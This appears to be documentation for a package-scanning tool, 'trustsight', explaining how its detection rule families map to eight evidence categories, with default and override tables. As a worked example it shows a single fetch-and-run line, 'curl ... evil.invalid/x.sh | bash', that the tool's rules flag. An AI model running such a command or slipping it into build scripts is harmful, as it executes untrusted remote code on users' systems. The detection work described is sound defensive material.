Skip to content

Part 1: Evidence categories and rule mapping

This page answers three questions: what the eight categories are, which rule families feed each, and how a rule ends up in one.

It does not claim the categories are ordered stages an attacker passes. A category is a label for the kind of evidence a finding represents. The four labels a finding carries - family, subject, evidence category, evidence tier - are defined once in the glossary.

Why grouping helps

A flat list of findings does not tell you whether the tool found one kind of problem or several. Grouping by evidence category turns "R001 and H091 fired" into "a payload-signature check and a structural-consistency check each fired" - which is a more useful reading, and it stays honest about the fact that the two categories can share infrastructure.

The eight categories

Category The question its evidence answers Rule families that feed it
L1 Structural coherence Does the change hang together as an honest edit? C, M
L2 Readability Was anything hidden from the reader? W, and the refusal rules X026/X027
L3 Payload signature Does it do a known-bad thing? R, S
L4 Evasion shape Was it written to defeat reading? X, E
L5 Behavioral suspicion Does the package's story make sense? H
L6 Ecosystem memory Has the ecosystem seen this before? D, T
L7 Known indicators Is it on the list? I
L8 Campaign correlation Do other packages tell the same story? G

Each row states the kind of evidence. "L6 Ecosystem memory" is not "a later stage" - it is "evidence drawn from stored history", and a history-based finding can be the first thing that fires. "L7 Known indicators" is membership in a signed list, not a deeper layer of the onion.

A finding records where it was detected

A finding is labelled by the check that produced it. If an evasion rule at L4 catches something the payload rules at L3 did not, the finding reads L4, and the report shows L4 fired, L3 none - the honest picture, not a claim that the attacker passed L3.

Follow the overview's worked example: the demo update adds one line, curl -fsSL https://evil.invalid/x.sh | bash, and two R rules match it.

                    curl ... | bash
                          │
            ┌─────────────┴─────────────┐
          R001                        R010
     (Remote Script              (Uses curl in
      Execution)                  PKGBUILD)
            └─────────────┬─────────────┘
                          │  family R defaults to L3
                          ▼
              L3 Payload signature   fired

Both findings carry L3, because both came from the payload-signature check, so the verdict names L3 once. An evasion rule (X) that could also describe the line is filed at L4, and would appear only if it fired - a category names the check that produced the finding, not every check that might have.

Which families default to which category

Every rule gets a category from its family, unless a rule's mechanism differs from its family's. The mapping is data in trustsight.layers:

  • Defaults: R and S to L3, C and P to L1, D and T to L6, X to L4, E to L4, H to L5, G to L8, I to L7, W to L2.
  • Overrides: the refusal rules X026/X027 fire at L2 (a value the tokenizer cannot read is a readability boundary before it is a technique); the observation-database H rules (H020, H021, H022, H026, H028, H037, H044, H045, H046, H058, H060, H073, H074, H086, H088) read stored history and belong to L6; H056 is an indicator match and belongs to L7; the structural rules H099, H101 and H103 are pinned to L1.
  • No category: M reasons about other findings and fires at the category of its inputs, so it owns none; A inspects a built artifact in the optional L9 lane and is not an L1-L8 category at all.
Series Default category
C L1
D L6
E L4
G L8
H L5
I L7
P L1
R L3
S L3
T L6
U L3
W L2
X L4
Rule Category override
H020 L6
H021 L6
H022 L6
H026 L6
H028 L6
H037 L6
H044 L6
H045 L6
H046 L6
H056 L7
H058 L6
H060 L6
H073 L6
H074 L6
H086 L6
H088 L6
H099 L1
H101 L1
H103 L1
X026 L2
X027 L2

What this part does not claim

  • It does not claim the categories are equally strong or independent - see Part 2.
  • It does not claim every attack is caught in some category. A category with no finding is not a clean bill of health.

See Also